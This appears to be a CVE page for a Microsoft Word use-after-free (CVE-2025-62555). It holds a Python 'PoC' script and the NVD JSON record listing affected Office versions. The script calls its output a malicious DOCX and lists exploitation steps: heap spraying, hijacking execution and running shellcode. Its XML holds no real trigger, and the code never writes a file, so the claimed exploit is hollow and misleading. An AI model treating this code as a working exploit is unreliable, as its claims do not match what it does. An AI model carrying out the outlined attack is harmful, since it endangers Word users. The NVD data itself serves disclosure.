CVE-2025-62555

# CVE-2025-62555 PoC - Microsoft Office Word Use-After-Free # This PoC demonstrates the vulnerability structure # Note: Actual exploitation requires specific memory manipulation import struct def create_malicious_doc(): """Generate a malicious Word document that triggers UAF""" # DOCX file structure (minimal representation) doc_header = b'PK\x03\x04' # ZIP/DOCX signature # Content_Types.xml content_types = b'''<?xml version="1.0" encoding="UTF-8"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/> </Types>''' # Malicious document.xml with UAF trigger # The actual UAF condition depends on specific Word version and object handling document_xml = b'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> <w:body> <w:p> <w:r> <w:t>UAF Trigger Document - CVE-2025-62555</w:t> </w:r> </w:p> <!-- Specific malformed XML to trigger object reuse vulnerability --> <w:sdt> <w:sdtPr> <w:tag w:val="UAF_OBJ"/> </w:sdtPr> </w:sdt> </w:body> </w:document>''' # Relationships rels = b'''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/> </Relationships>''' return { 'header': doc_header, 'content_types': content_types, 'document': document_xml, 'relationships': rels } def exploit_uaf(): """ Conceptual exploitation steps: 1. Create malicious DOCX with trigger payload 2. Use heap spraying to control freed memory 3. Trigger UAF condition through specific document parsing 4. Hijack execution flow via controlled memory 5. Execute shellcode in Word process context """ print("[+] Creating malicious document for CVE-2025-62555") doc = create_malicious_doc() print("[+] Document structure prepared") print("[!] Note: Actual exploitation requires specific Word version and memory conditions") return doc if __name__ == "__main__": exploit_uaf()

{"cve": {"id": "CVE-2025-62555", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:16:00.790", "lastModified": "2025-12-10T18:32:58.360", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office Word allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*", "matchCriteriaId": "F815EF1D-7B60-47BE-9AC2-2548F99F10E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*", "matchCriteriaId": "6122D014-5BF1-4AF4-8B4D-80205ED7785E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:word:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "E1FE9E95-4874-46EF-AC93-9E485F7A2AC0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:word:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "38479B5D-66F9-4260-A18A-F6E3D9B6991E"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62555", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}